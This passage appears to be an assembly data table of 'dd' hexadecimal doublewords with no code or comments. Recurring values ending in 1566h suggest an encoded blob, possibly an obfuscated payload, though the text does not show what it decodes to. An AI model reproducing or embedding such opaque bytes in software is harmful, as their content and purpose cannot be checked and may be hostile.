dd 955C4642h, 49080C4Fh, 2AEE90EBh, 36521282h, 65AAE612h
dd 7D537530h, 8B11A07h, 61321566h, 44321572h, 0DD396AEEh
dd 5400B03h, 69CCEE13h, 0EE4312D1h, 0F0F560DEh, 963DC599h
dd 88321571h, 4432078Fh, 0AACA6366h, 0D1234598h, 0F669E81h
dd 6E5CDFD4h, 0AB5FF836h, 0FACB19E3h, 0EE52E961h, 253B67DEh
dd 0E1F90A0h, 71751282h, 88349969h, 0CF3D1566h, 22321566h
dd 11321F8Fh, 3EC7B366h, 670C26E9h, 4385C0B3h, 0A3C99E06h
dd 0C45A747Ch, 0BCC84E08h, 23AFA099h, 9CC71282h, 6C09C9E3h
dd 4422FC61h, 85FD1566h, 0E7E0BAFDh, 8CB9393h, 5DAA2F32h
dd 0F2CD579Dh, 11349869h, 3521566h, 25EB9EA9h, 0DB2290EFh
dd 9F3D128Dh, 8832156Eh
dd 44309F69h, 43521566h, 3D1F90A0h, 0E8751282h, 0FC288EDFh
dd 3AC6952Ah, 35FF7D07h, 77C7D660h, 0A03388D3h, 0DECB7561h
dd 0CDB79807h, 6135F15Dh, 4432156Dh, 0C6B3354Fh, 67D1C1EBh
dd 777EA490h, 48B01AB6h, 42321566h, 0D4BDAE00h, 88329169h
dd 0CD531566h, 0C9CB01E3h, 10B91A61h, 70321566h, 681F90A0h
dd 426D1282h, 58887306h, 498D1A81h, 4435FD07h, 0D4021566h
dd 0DF828DDDh, 883CFDFDh, 66651566h, 4A7A834h, 9B651481h
dd 6A7401Ch, 2C534B39h, 0F68975AAh, 113B9569h, 2521566h
dd 0E887ACA7h, 0DD536269h, 0F53388D3h, 0DBFED61h, 43D62EBAh
dd 0D7E2EA9Eh, 0E9D690EFh, 4ECE128Dh, 0A01E38E3h, 0AD3D4A61h
dd 1132157Dh, 3CFD9506h, 4432058Eh, 18525E66h, 9A485DFAh
dd 45C6069Fh, 3220C81Bh, 4A534B01h, 8FDB4128h, 63FA9406h
dd 0F7383A57h, 97CD74DBh, 16D614FBh, 88389269h, 24521566h
dd 0B1C39407h, 7030DFF8h, 88219D69h, 4ADB1566h, 32321566h
dd 0D3F3EBBDh, 0B922DA68h, 0D708E473h, 0FEB7983Bh, 0F835F15Dh
dd 88321560h, 87AB0BFCh, 0F2CD55BEh, 0D2B84406h, 1CA7439h
dd 0AFCAFDE3h, 2223FC61h, 0E6A21566h, 990644B3h, 0E62C001Ah
dd 0E0F8EBC4h, 0D76F726Fh, 6C1E38E3h, 24524A61h, 22321D8Fh
dd 223EEE66h, 136B3443h, 0BEB9734Fh, 43E49E07h, 21A5D0Eh
dd 8820FCB7h, 3CDF1566h, 20D39671h, 6387675Fh, 0A1DF419Fh
dd 0E14A2E0Bh, 2222FC06h, 1D261566h, 86A5239Ch, 0B77ACEECh
dd 0C1C3E9AAh, 0EE53409Bh, 6C3388D3h, 443AFC61h, 0C3231566h
dd 93DE5026h, 0DBF8182h, 43D62EBAh, 223BFC06h, 0DDC71566h
dd 0D0B195B8h, 22ADB437h, 437EF5D9h, 0F852C599h, 8832156Fh
dd 464001C7h, 0F745F20Ah, 18DB46B7h, 37321566h, 74C9226Ah
dd 53D0E3BFh, 94BB743Ch, 8FD9ED8Ah, 4B367F9Ah, 223201E2h
dd 113DFC66h, 0B8381566h, 0CB3C9758h, 0C5CE6F1Dh, 1747B461h
dd 98327D2Dh, 2CCA1566h, 22320566h, 11269269h, 83D1566h
dd 44321568h, 22321C8Fh, 0AE8B2366h, 0C653E4Dh, 44586C4Ah
dd 53A7EA9Ah, 1E35F17Fh, 883200E0h, 4422FC66h, 0D13E1566h
dd 7080A936h, 6A344FB7h, 0C9FDB407h, 0A7BBED7Bh, 16D61B5Fh
dd 8832078Fh, 1D026E66h, 0F7EFABE2h, 0C991D089h, 0FB917346h
dd 24849F8Dh, 22321D8Fh, 0BA864766h, 641CD7Ah, 0C953E99Ah
dd 0C9955FE3h, 113EFC61h, 79371566h, 3288E1ECh, 27FD3C19h
dd 0EECA47EFh, 4A8375B6h, 4432058Fh, 6DFB2566h, 85C23811h
dd 0A6CA792Bh, 24A1376h, 0AD3D74D9h, 11321567h, 74367F9Ah
dd 4422150Eh, 0D0B27566h, 3857AE97h, 715308CFh, 4412150Eh
dd 0A13D7566h, 11321562h, 0D2FDAD00h, 0BD327F07h, 3B438099h
dd 0F9521282h, 88321572h, 0A2B8AE9Eh, 0F886161Dh, 0A243BB5Ch
dd 321301A8h, 49269F77h, 0A86C4A37h, 94BB74A5h, 8FD60E8Fh
dd 4432078Fh, 87E1FF66h, 5BE437D5h, 963E6DFAh, 0ACD6737Dh
dd 0AB5F4857h, 0F50118E3h, 0C858EC61h, 0A9897306h, 0E2A3AB7Fh
dd 79534190h, 88320566h, 4438FC06h, 55CF1566h, 5F32492Dh
dd 0A7339A12h, 99DD9400h, 225A742Dh, 1E321466h, 883214E4h
dd 4458E966h, 0C38C4606h, 4E35612Ch, 2BBD9DD8h, 2252742Bh
dd 1DAED4E7h, 52887306h, 42B3732Bh, 25539391h, 3B438099h
dd 16DB1282h, 0E6321566h, 21C2D114h, 0A7BB73CFh, 16D60E3Bh
dd 6DFD9406h, 4B76C652h, 223215EFh, 0A4B97466h, 8FD61A2Fh
dd 0DDAF9E93h, 4235F172h, 96F9AFD8h, 0F5D0AD47h, 2453782Ch
dd 0CCEC9400h, 0CAB37378h, 153CF6Dh, 0A02AFCD3h, 223FFC61h
dd 0E2E31566h, 45942861h, 1662BCC1h, 0ABA40655h, 0F51F5CFBh
dd 89BA1A61h, 0BD321566h, 2232018Fh, 0FF851766h, 70AC65h
dd 156D9CAEh, 7EDC1378h, 0C7D91AF3h, 11AF9E07h, 0AD35F172h
dd 2232156Fh, 0B302CB1Ah, 71F50792h, 0CF01EA71h, 0E6B3316Ah
dd 11321562h, 88321B8Fh, 0CD37DA66h, 0A0BF4734h, 0FE8D489Dh
dd 0BB73069h, 0C03D159Fh, 22322C82h, 11339169h, 0DDCB1566h
dd 81B3F0EFh, 22321562h, 9636F8E5h, 16E314Ah, 4EDB3162h
dd 0DC321566h, 2D8BE02Dh, 0AA2D797Ch, 4434FC6Ch, 8B971566h
dd 0ABE124C0h, 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h
dd 0E8CB316Ah, 7553E906h, 223AFCA6h, 0D1AD1566h, 8C4E7F83h
dd 0C1BBF5E7h, 25D607B7h, 113A9B69h, 33D1566h, 44321564h
dd 1E5A7406h, 9A321566h, 4CB33152h, 44321562h, 20BA1A06h
dd 71321566h, 4EB37407h, 205969BAh, 7582FBE7h, 65314163h
dd 4EB33542h, 103742D6h, 5EEEFBE7h, 77CB710Dh, 0E937E9CBh
dd 47158949h, 75123122h, 8D1D74D9h, 0D7CA3C41h, 44321B8Fh
dd 0BE6FD366h, 7AF57193h, 0C1420F5Eh, 0BB5DDDD8h, 16B36D16h
dd 4B378642h, 31634B46h, 39EB313Ch, 0A37B542Fh, 6E2CD38Fh
dd 0D1FC243Bh, 17EB9E06h, 42534B9Eh, 0B5A1AB35h, 0E96D2341h
dd 2D84D3E7h, 0CCB37EBAh, 335374F5h, 0A8166165h, 25A1D3E7h
dd 0CCB33707h, 7AEE7CD0h, 8835FD06h, 3AF21566h, 72A8BEECh
dd 37F1945Bh, 0D77DB976h, 0BB5375D7h, 26B30D10h, 9D2EA442h
dd 0AC0E9E42h, 4436D1E7h, 0CDB31566h, 35BE09D7h, 88359969h
dd 0C03D1566h, 22321567h, 9A547593h, 35BB74A0h, 43D61153h
dd 0DAB97306h, 1ECD9007h, 88327CE3h, 4422FC66h, 0BD6F1566h
dd 687AA45Ch, 0A64FF117h, 1F8992A5h, 3FDA93ECh, 71321506h
dd 83DBDCD4h, 0A3321566h, 20F32B87h, 0FA15133Fh, 61533A88h
dd 44321574h, 1E3B9C6Ch, 750C2F2Ch, 0ACB0B9F0h, 7BCD9024h
dd 3FDBCD65h, 1E321563h, 88320CEEh, 4426FC66h, 4BF81566h
dd 0E8D5DBE2h, 3423E191h, 2C56DD9Bh, 90302598h, 665A2311h
dd 1321537h, 13CE316Ah, 0A11601EDh, 0A85211A2h, 0BA1797A7h
dd 4432128Fh, 934B1D66h, 29BEDABh, 8CE07E07h, 4432018Fh
dd 1E9AC466h, 0D68529Dh, 99AC915Fh, 0AADAAE40h, 71636F28h
dd 84BBE9E3h, 8FD63AC7h, 44249569h, 93521566h, 113FFC35h
dd 84B31566h, 755CAB7h, 0E123B03Fh, 70B79076h, 98DB110Ch
dd 14321566h, 3A50D1B2h, 0CD3DA5D9h, 4754E1F0h, 4B045C1Eh
dd 22321DEFh, 13B51A66h, 0E8321566h, 54327D07h, 36DB1566h
dd 0B9321566h, 997ACCCCh, 7FF069CEh, 0C28D5DA1h, 2C7D057h
dd 0E8487D16h, 77FD9400h, 24B81A15h, 1E321566h, 883215E1h
dd 0CD647466h, 26F49480h, 92321566h, 0BCB51188h, 50BB4942h
dd 2FBE1A42h, 0F8321566h, 8832156Eh, 0F086C95h, 0EF8AC737h
dd 7752150Ch, 84775DFh, 0B8538284h, 3B438099h, 5DB1282h
dd 0B1321566h, 0C0154C83h, 0E4F05C9Ah, 3A60EDB6h, 7E1CB39Ah
dd 0CD3AAC7Fh, 0C61468E3h, 1DB81A61h, 87321566h, 443213ECh
dd 22BD1A66h, 46321566h, 167D2EFh, 19D89C9Bh, 0D9B97539h
dd 706BE6E6h, 8839FD06h, 9C241566h, 99ACDB3Bh, 0A68D60C6h
dd 88B71AE3h, 1E321566h, 3DE89400h, 25CD74EEh, 4CB14C42h
dd 52B31A62h, 2D321566h, 113205E2h, 8839FC66h, 94271566h
dd 55138EB7h, 0CB912A39h, 0D664FD59h, 55DB1566h, 6D321566h
dd 3542EAD6h, 0BE6785Eh, 301B372Ah, 9ACC35A6h, 1EB7A106h
dd 883217EFh, 25E49E66h, 22709F0Eh, 35069C66h, 85DBB893h
dd 0E6321566h, 2481DC3Ah, 38FF7D0Fh, 0BCE9836Bh, 905BB763h
dd 676162Dh, 0B38F4042h, 0A179C10Fh, 4BDB488Eh, 0E7321566h
dd 0EFD90276h, 729ABA37h
dd 0E36E15BCh, 0DA03C7F8h, 0E903D257h, 8821FC9Eh, 0D4321566h
dd 594E22Dh, 37C968ADh, 5362FD1Bh, 0EC740E58h, 3EB9423Dh
dd 15F69642h, 0C4497D9Ah, 78BB1566h, 223DFC42h, 4671566h
dd 1B83729Bh, 0F247C4E4h, 0B6951769h, 0E4F2255Ch, 87CF60C8h
dd 44320CE1h, 2226FC66h, 0ACD81566h, 0AE6F3DBh, 5E38D1DAh
dd 69DD2E0Ch, 0E8721092h, 99DBC28Ch, 62321566h, 0F0220F3Eh
dd 0CE444FC7h, 0A0B9FE14h, 0DF97FE72h, 0F8B97306h, 0E0B9E006h
dd 0BCCD7407h, 80B34B42h, 22321562h, 11249569h, 99DB1566h
dd 60321566h, 9972A272h, 5E945A14h, 0E74957ECh, 3C6EF6BCh
dd 98DFAE7h, 0FEB373F5h, 8D3D591Dh, 83B3CA4Fh, 273D591Dh
dd 3A8DD2E7h, 8EDB73F5h, 12321566h, 33B0467Eh, 0F0BB4444h
dd 8836D4E7h, 0ADB11566h, 63E9262h, 35269C3Ah, 81874206h
dd 1353EC39h, 331621E7h, 4B789165h, 8B23AB30h, 0B6035FE2h
dd 9FB9E938h, 16D61B5Fh, 88B91A06h, 0B1321566h, 0DDCDAC07h
dd 20CAEA99h, 3361E0A6h, 44321566h, 2E8BFEE7h, 0E2330051h
dd 848BD6E7h, 47B80051h, 0A954753Dh, 1137FDB9h, 50E41566h
dd 4BAC407Bh, 223215E8h, 21534F66h, 3C775AEh, 0FB657495h
dd 5B500C81h, 0F72AD2E7h, 761B93FBh, 70CDE939h, 60694E1h
dd 199925AEh, 0B1611EDh, 8C0711A2h, 423ABE56h, 11321E8Eh
dd 0E1E96466h, 88EE384Dh, 18141F1h, 0F8CAF00h, 8AB91A39h
dd 24321566h, 0CBF37407h, 858D756Eh, 0E957FBCEh, 4B52D457h
dd 0A354C3D1h, 70CD4486h, 0E0B71A2Ch, 24CDEA99h, 22321B8Fh
dd 0A4274866h, 0D2CA1D1Dh, 3D380831h, 97AF6DA5h, 9864740Ah
dd 0D66A43A8h, 22C7759Fh, 7253DFEDh, 0E66B4D37h, 8DDB84B7h
dd 5A321566h, 2E270FD1h, 4B162199h, 8736D1E5h, 443201E7h
dd 223DFC66h, 67F81566h, 3EAE1DA9h, 6CE6C146h, 0B50D6671h
dd 15DE9637h, 331609EFh, 44321566h, 21BBC667h, 0CFB3753Dh
dd 9CAACC8Dh, 94B2E906h, 0CB5374FAh, 11321576h, 0AEB694A6h
dd 49F90296h, 0B847B8D6h, 0A872D01Ch, 8836AD36h, 0AEB31566h
dd 790E2722h, 0D3B3D767h, 0D30E2722h, 45BE1A3Eh, 0DB321566h
dd 116DF60Eh, 0AC269C66h, 44321F8Fh, 0E5C04F66h, 4DE7ED7Fh
dd 77C3498Ch, 0A020C4E3h, 0B7B9E061h, 16D607B7h, 88339D69h
dd 7DCE1566h, 0C63620F3h, 7BB61A61h, 0E8321566h, 0C554A0D4h
dd 436086A8h, 401601EDh, 49B3F4EFh, 44321562h, 2236D4E7h
dd 1DB51566h, 77CA4942h, 0C76C3152h, 445211A2h, 70CBCBEDh
dd 41851A06h, 1E537535h, 26DE9407h, 98321566h, 8C8D315Ah
dd 45321566h, 91524A98h, 70524323h, 69DB743Ch, 0ADCDEA9Ah
dd 22321577h, 8519DFD7h, 2C504DB8h, 0CCD35C7Bh, 0C483A5C7h
dd 3506EA76h, 8CF6943Ch, 0B1321566h, 701621EDh, 0D3B3F7EFh
dd 88321562h, 4436D7E7h, 36B51566h, 0F8524942h, 88321561h
dd 2DB74958h, 4344F74Bh, 0F2B27507h, 0E91DA7B5h, 171619EDh
dd 0E1B3F6EFh, 11321562h, 8836D6E7h, 58B51566h, 0CB524942h
dd 11321577h, 467CAFFAh, 40418AFh, 0FA7B5766h, 0CE15BF70h
dd 0E9F19E9Bh, 131611EDh, 0E5B3F2EFh, 11321562h, 8836D2E7h
dd 78B51566h, 31DB4942h, 0BA321566h, 55B40498h, 0E3521B4Bh
dd 0A59D2324h, 0CF82E01h, 0DF546B9h, 43D60E23h, 22321566h
dd 1132048Fh, 35656F66h, 8A08EF6Eh, 2843725Bh, 0B6444743h
dd 0DF522EEh, 43D6358Bh, 22321566h, 3588759Ah, 0EE6E10AAh
dd 0C753E6EDh, 0C9CA41DBh, 953D1561h, 8832152Bh, 276AA06h
dd 953D461Ah, 9F3D74BFh, 8832157Eh, 44209D69h, 2FDB1566h
dd 0BC321566h, 0BDB983DBh, 0B2AAC4A9h, 6E77F535h, 0DA5288EBh
dd 33D128Ch, 4432156Eh, 22B11A06h, 70321566h, 0E852C699h
dd 22E4A269h, 4453CAEDh, 3B9FC5E7h, 61B7EA07h, 0AD35F17Ch
dd 22321563h, 94A5C65Ah, 618F9694h, 2035F17Ch, 208C9769h
dd 1ECB1566h, 883214E2h, 0C1F5E066h, 25D60F8Fh, 11321567h
dd 6152E093h, 44321560h, 5CA9AD96h, 94BFD8D5h, 8FD9CC45h
dd 28A759Eh, 43010BF5h, 1ADBC599h, 0DC321566h, 0D8386B26h
dd 0FF12A05Eh, 0A4BF0AF1h, 8FD9EC42h, 3C8F989Fh, 0DA35F9E2h
dd 11321D8Fh, 24CD6966h, 75C599D3h, 24F59434h, 3806FC73h
dd 0E78C4391h, 0C55BDB54h, 0E90E7088h, 90E4E25Eh, 733C2FA8h
dd 0AAB35B7Bh, 25615E88h, 0BE38FBE7h, 7F1BB6A4h, 0FD547538h
dd 0EAB9A600h, 15DE9607h, 91629EFh, 5DA53162h, 0A368030Ch
dd 7B2B828Ch, 9EBB1A70h, 0AD321566h, 22321577h, 44CFF697h
dd 92468E98h, 186586D2h, 0DD7F6C0Ah, 288F9E51h, 6135F168h
dd 4432156Ah, 640F724Fh, 0CF93BB8Ch, 0A23CE2A5h, 0BBCDEADFh
dd 0E203E999h, 1132138Fh, 51E99466h, 15E20719h, 223215DFh
dd 9BC31466h, 0AC3E9E67h, 4436D1E7h, 33DB1566h, 3C321566h
dd 8EF9CFA1h, 0D60A2657h, 0B10D9A94h, 1C8ED456h, 8DB61A06h
dd 0FF321566h, 20BE6D64h, 11309E69h, 0E9521566h, 0B8FA2507h
dd 2233AF34h, 0C7331566h, 85BC1A3Ch, 0AD321566h, 2232156Eh
dd 6B208CB9h, 1D77C6Bh, 0CFB52199h, 0E6B13162h, 973D7562h
dd 88321565h, 4BEC9E00h, 223213E6h, 11BA1A66h, 0E9321566h
dd 243AFCA7h, 2232058Eh, 693E4766h, 8C3FC27Ah, 0A9C6E616h
dd 8E1977AFh, 9A6BE9A7h, 490374B9h, 44339469h, 68CB1566h
dd 0EE7A9069h, 80DBEA99h, 0B7321566h, 6D015BFFh, 40A5DED7h
dd 0C02EAB30h, 30034F9Bh, 7A6C1142h, 0EC7A0953h, 86B11A3Ch
dd 24321566h, 0D12CDCE7h, 0D0B34DDFh, 9113E048h, 89B58007h
dd 0EFB5C491h, 9C3D75F3h, 88321566h, 9393F4E7h, 1B53456Ah
dd 0F5333CE3h, 41B61A61h, 4B321566h, 223214EFh, 0AE65E966h
dd 0E79E5D7Eh, 3FB3D2E7h, 0C5F33E6Dh, 5EE5E262h, 0EB2BAD36h
dd 83032D98h, 0ABF5943Eh, 98A1973Ch, 3B524A9Eh, 0B489731Ah
dd 0E23974D2h, 11209069h, 4FCB1566h, 0A03F2CE3h, 22321461h
dd 10BF1A66h, 74321566h, 0E85A4434h, 7B087464h, 2376D4E7h
dd 61B374CBh, 3174208Bh, 0A335FCA7h, 39DFFC97h, 0D1F89C54h
dd 23D2F7E7h, 0F8C5086Dh, 565BDFE7h, 42B34FACh, 29133BE0h
dd 0E0B3FFB7h, 91034CA5h, 0E868C467h, 4437FC06h, 0B46F1566h
dd 0F9306C0Dh, 88321572h, 986B8D1Ch, 9D4F32DEh, 12A02EA9h
dd 1D33209Bh, 6DAF38F4h, 9C8C743Fh, 707FCE65h, 88389E69h
dd 41DB1566h, 9E321566h, 2E2581E4h, 31547507h, 0C089BBCBh
dd 4378165Ah, 8C665EDFh, 69B35440h, 55546155h, 5648AD36h
dd 0D0037E41h, 9FDB943Eh, 0C5268517h, 1AAFAF8Fh, 4263EC4Ch
dd 0D87D4EDDh, 40D9D434h, 6BC1D6E7h, 0C8BB29FAh, 79B35C3Dh
dd 2C1FD997h, 2D6BDFEFh, 11320CEBh, 8826FC66h, 0EE9A1566h
dd 8A235DBFh, 0D609D71Ah, 0B9D2AA2Eh, 3421E0A3h, 429F6F0Eh
dd 9696AD00h, 7B8CAD00h, 0AD879C07h, 0CB35F17Eh, 11321569h
dd 4819B395h, 2F5C1817h, 7A245317h, 1E44FCCCh, 883214E3h
dd 2C61E066h, 82D794Eh, 13D9D43Dh, 49CDD6E5h, 0AFB3178Dh
dd 2093E3A4h, 4ACE4BEFh, 66DC289Eh, 0C13DFB88h, 223215E4h
dd 63ED9506h, 3BA8D7E7h, 0C5530944h, 0FFEFC858h, 7AB71ABBh
dd 71321566h, 0CD36F9E5h, 228A3162h, 98321566h, 61524D60h
dd 44321563h, 97E4C2F9h, 43677498h, 883211DCh, 1EE79C66h
dd 0DB6FFB67h, 9DBA0EFh, 0C3D1282h, 4432156Eh, 22309969h
dd 70521566h, 88389F69h
dd 4B521566h, 223215E5h, 70ED9E66h, 881F468Fh, 0A5DBED66h
dd 2DCDEA98h, 113219EFh, 8EB91A66h, 4B321566h, 223215EFh
dd 0A5AE966h, 1321516h, 83BB315Ah, 2D6DEEEFh, 113201EDh
dd 86B21A66h, 0AD321566h, 2232156Fh, 0A1B63E3Ch, 89B22FCh
dd 7DB726C2h, 0CB35F16Bh, 1132156Eh, 0F4861861h, 4209B6C8h
dd 2232078Fh, 0B4C74A66h, 0D16C80C3h, 0DEFC944Ch, 0D343A983h
dd 0D087C838h, 0DDCE16AEh, 202D21DBh, 7FDA1405h, 251FC54Fh
dd 70517179h, 4B22D5A7h, 223202E1h, 1120FC66h, 11951566h
dd 25C716ACh, 300701D4h, 81A52D38h, 4CBEC13Eh, 4ADBDD57h
dd 0FE321566h, 0A5A6FC7Eh, 7076C943h, 2907E430h, 31BD1AE9h
dd 1E321566h, 883218E5h, 443AFC66h, 0FC9A1566h, 78A50E2h
dd 15BBC92Ch, 43D6185Fh, 2232108Fh, 6776B766h, 880F6DF7h
dd 4B321466h, 2233D6E5h, 0AB547566h, 3754AFFCh, 0AD5358EBh
dd 2232156Fh, 0ABEEC6D5h, 0A16C30E8h, 0FF0C94DEh, 2D89AEDDh
dd 11338AE3h, 8835FC66h, 9BC1566h, 43BE4A28h, 0AB60EDCDh
dd 0B03B12F6h, 44F09424h, 0D574153Ch, 83F094B4h, 14C1C07h
dd 60269E70h, 2236D1E7h, 79CE1566h, 883274DFh, 0FE1601EFh
dd 22321562h, 7168C367h, 98BB1A9Ah, 0AD321566h, 2232156Dh
dd 1CB5A0AFh, 6003B852h, 25EC5592h, 3ADBA0EFh, 933D1282h
dd 88321561h, 44339569h, 0DACA1566h, 5AB88EDh, 9521282h
dd 61EA08BDh, 74627442h, 113215D8h, 0D6C29C66h, 4CB9CD67h
dd 0AB61EC3Eh, 9AE89CA5h, 4CB1317Ah, 0FC547562h, 953D055Bh
dd 0F85274B4h, 88321576h, 0F01CC184h, 0D0582EA1h, 84794BD1h
dd 0C066EBC2h, 21D67D9Fh, 2EBB1566h, 98E39C42h, 87524CAEh
dd 443213ECh, 22B51A66h, 77321566h, 0E94E04D8h, 0B5B37306h
dd 0C3B3FB35h, 49200D4Eh, 75B73E07h, 0AD35F14Fh, 2232156Dh
dd 41739AD2h, 51C1D61Ch, 85F120C1h, 2D521786h, 113216E6h
dd 47B97366h, 49DB7493h, 3C321566h, 0F4C535A9h, 3603BED1h
dd 17666206h, 3AE79065h, 923D1282h, 8832157Bh, 94B37306h
dd 33DB4983h, 91321566h, 9F00ADC7h, 0A0A35F7Bh, 0F9BCFFBh
dd 64159544h, 0B9C22407h, 0B1C224A0h, 26B91ACBh, 71321566h
dd 0DE537406h, 6821E7D8h, 0D4B35314h, 23EB2DB4h, 896CE54Fh
dd 6F1310AEh, 31DB5593h, 0DC321566h, 372D0AD9h, 0F3CA4ED7h
dd 9804B2A2h, 4C527126h, 0CCBB7660h, 25CB0942h, 20FFFC9Eh
dd 1CDB1566h, 11321566h, 82C42D3h, 0AC4DF009h, 6848B376h
dd 9D59C31h, 443211A1h, 26DD9666h, 4D1629E1h, 711619EFh
dd 4453E00Eh, 6269C66h, 11321A8Fh, 0E581266h, 0DC5B43C6h
dd 4D399A78h, 72A62B0Ch, 3CEDC57h, 0A01468F3h, 25BF1A61h
dd 1E321566h, 883214E4h, 4609E966h, 22939169h, 0E8521566h
dd 953CDEDh, 4432118Ah, 6069C66h, 113211D8h, 0D6C01466h
dd 443A9269h, 0A53D1566h, 11321564h, 30627406h, 17FE5A19h
dd 0EE7D6B4Bh, 49F31435h, 88339B69h, 7FCE1566h, 0C63620EBh
dd 0A2B71A61h, 87CDEA99h, 443212E5h, 7C637566h, 70FD9E00h
dd 0F07FAE35h, 0AFF32D84h, 0D1B35E62h, 12BC32E5h, 6169CDEFh
dd 44321577h, 7445476Ah, 0ACF139A0h, 9DA1273Ah, 77F2C86Dh
dd 0C5BF98FFh, 1E35F129h, 883214ECh, 0A5CDE966h, 2222FC06h
dd 0E5A1566h, 3B8C9768h, 0E7992CEBh, 56638040h, 98534FEEh
dd 6C20C4EBh, 70CDE961h, 0E6B14F42h, 1139FC62h, 600C1566h
dd 56CB4D7Dh, 5EA684FCh, 353E9EE8h, 9D79C33h, 443211A3h
dd 26F79466h, 96321566h, 616E314Ah, 44321568h, 0BC6EDC89h
dd 34A6BD9Fh, 2D098D9Ah, 0CD61B30Dh, 26F19485h, 92321566h
dd 94B5118Dh, 70BB4942h, 0A33D7542h, 11321564h, 8B83D6EDh
dd 0DDAF9E07h, 0CB35F172h, 11321576h, 1220EC3Eh, 0CA4E81F7h
dd 6F3F83F1h, 0ACDB76ADh, 8CB32699h, 5127D942h, 63E9E18h
dd 1136D1E7h, 61B31566h, 3A2700AAh, 0F3B79E9Eh, 1E35F174h
dd 88321BEFh, 443BFC66h, 97EE1566h, 39E034DAh, 59DA6E33h
dd 57DA7586h, 17321566h, 7DB9FE2h, 0E3ED30AFh, 62B20ED6h
dd 69E744C2h, 90540E9Ch, 0D26BD288h, 44379069h, 88C1566h
dd 7058D905h, 0AE579065h, 0C13D1282h, 22321561h, 11339C69h
dd 0B9CA1566h, 49BB1A90h, 0CB321566h, 1132156Eh, 0AB710443h
dd 995FB6EEh, 26B94336h, 15F69642h, 8821FC38h, 23F11566h
dd 1FC59D81h, 33413930h, 0DBB68970h, 0E1419028h, 0CB9F73F5h
dd 11321563h, 0BBBB91C4h, 45B71A16h, 0DE321566h, 7130F5A7h
dd 8832058Fh, 0D595D066h, 6BAEE479h, 0F03B9144h, 6EAE4DAEh
dd 25C29EB3h, 3AE79065h, 933D1282h, 8832156Ch, 44BA1A06h
dd 0A9321566h, 0E103749Dh, 7803D357h, 44321E8Fh, 0B3ECAA66h
dd 0D6DFA7F6h, 0D524107Ch, 175275CBh, 0ED8D1A39h, 0B5D1AD07h
dd 8D534115h, 1B502748h, 821B763h, 3CFA145Fh, 0B11806C4h
dd 26003B4Bh, 2AB41A39h, 1E321566h, 883217E7h, 0CF537566h
dd 0AB653152h, 15F59481h, 0B321566h, 78B511A1h, 0A1CB4942h
dd 0F510B8DBh, 0C3D1461h, 443215D5h, 0BFBF2E9Ah, 1E35F167h
dd 8832B3E2h, 0CD3DE066h, 2232156Ah, 11349369h, 43D1566h
dd 44321566h, 3FD3985Dh, 953D1282h, 883215E1h, 443A9B69h
dd 0A13D1566h, 11321564h, 5097406h, 43D61887h, 225F9169h
dd 973D1566h, 88321574h, 4432188Fh, 72F1C466h, 1889180Ah
dd 0D76DC248h, 0D9BFDD31h, 25DE43B5h, 0C9851A06h, 8839FC35h
dd 15FE1566h, 0BC24B18Bh, 26ECF8D5h, 77534BEBh, 45BC1AB5h
dd 0DA321566h, 44F79C33h, 30524839h, 3C95500Ah, 0A7BB749Eh
dd 16D637C7h, 0A95FFC9Ah, 54DB1566h, 0B8321566h, 63D9EE96h
dd 0DDB8BD79h, 89848643h, 0AF7396D1h, 0FD64C6FBh, 8838FC61h
dd 9F1C1566h, 6F6E134Ah, 6B0ADE22h, 0E8C7C699h, 0DA5805DCh
dd 0EAFF9578h, 0BC8F9607h, 8835F144h, 446E9169h, 44521566h
dd 2A53DFEDh, 6C21D8E3h, 70B61A61h, 2D321566h, 11321AEDh
dd 8838FC66h, 7171566h, 0A7C2B171h, 13B9A0C3h, 9718AB06h
dd 7F533C8Bh, 0C61CECE3h, 32B71A61h, 0E8321566h, 0FF89400h
dd 5B2CAD95h, 0F853175Fh, 77CDEA54h, 443E9269h, 0A83D1566h
dd 11321560h, 88329D69h, 0C1091566h, 25D607E7h, 11539069h
dd 93D1566h, 44321567h, 378F969Eh, 1135F146h, 88279169h
dd 0C7C71566h, 0C638D0DBh, 953D1561h, 88321559h, 44339B69h
dd 0AFCB1566h, 0FAE888E3h, 8826FC61h, 0E6B81566h, 0E8B077F0h
dd 0C0D4F538h, 21AABFB7h, 16C41C15h, 0E5DB514Fh, 0F8CDEA98h
dd 88321569h, 261FFCD5h, 0F31D9241h, 39C489Eh, 0B3715B8Fh
dd 0A02094E3h, 85B61A61h, 0F8CDEA98h, 8832156Fh, 0EF946616h
dd 651C2CF0h, 298F96F1h, 8935FE9Eh, 445D9069h, 31DB1566h
dd 0D3321566h, 0D2776BB3h, 815D39F4h, 9B813F45h, 59D39CF4h
dd 0D09986Fh, 43D9ED0Ah, 22799069h, 993D1566h, 8832157Fh
dd 4432018Fh, 0D98A4566h, 0FF4F31B5h, 0B16C60EFh, 0E0A24640h
dd 0BEE166EDh, 0F5B798F5h, 61324C6Dh, 44321575h, 0E07304F5h
dd 889528E8h, 0E9C716ACh, 560701D4h, 0D7A52D38h, 0EECC5E8Fh
dd 4AB37599h, 632CB6A6h, 0CBCD2407h, 11321560h, 3D402C64h
dd 0F9B1EC14h, 25D6367Bh, 2B61A66h, 61321577h, 44321575h
dd 8D6C66CEh, 26A9DA79h, 0B17F2E26h, 4300DD8Dh, 0DE1AFA64h
dd 0E96A905Dh, 0D3D128Dh
dd 4432155Ah, 2232058Fh, 294B0466h, 0B73C670Eh, 0DCB2983Eh
dd 0CAF58E19h, 50B79E5Ch, 7D35F164h, 4433AF34h, 0F5331566h
dd 1120FC3Ch, 27BE1566h, 3C8D05DBh, 61153BBFh, 8CFB2BFFh
dd 61CDB4Bh, 0BC52905Dh, 0A73D128Dh, 11321532h, 88269869h
dd 4BDB1566h, 2C321566h, 9E35F0A1h, 0FE0F429Ch, 0BF579F3Eh
dd 0A7B97368h, 16D61057h, 88321A8Fh, 96F87B66h, 92B567E5h
dd 22E587C1h, 5308FC60h, 0BB8B449Eh, 0BCDEA99h, 0DB4CA9h
dd 38321566h, 1E6FD904h, 3AB09DCh, 0AC6B3E63h, 86B2668Ch
dd 0BC6E905Dh, 0A73D128Dh, 11321559h, 0ADB79E93h, 4B35F14Bh
dd 22320DEDh, 1121FC66h, 0F6341566h, 7507B816h, 5351866h
dd 375742F4h, 49DE27D1h, 4EB81A46h, 42321566h, 0AAF5A269h
dd 0D9F5F360h, 0BB8B4407h, 0BCDEA99h, 2ACE4CA9h, 63CA71E3h
dd 8B71A61h, 2D321566h, 113219E5h, 8EB51A66h, 4B321566h
dd 223215E2h, 48B79E66h, 6135F173h, 4432156Ch, 31C9EDE9h
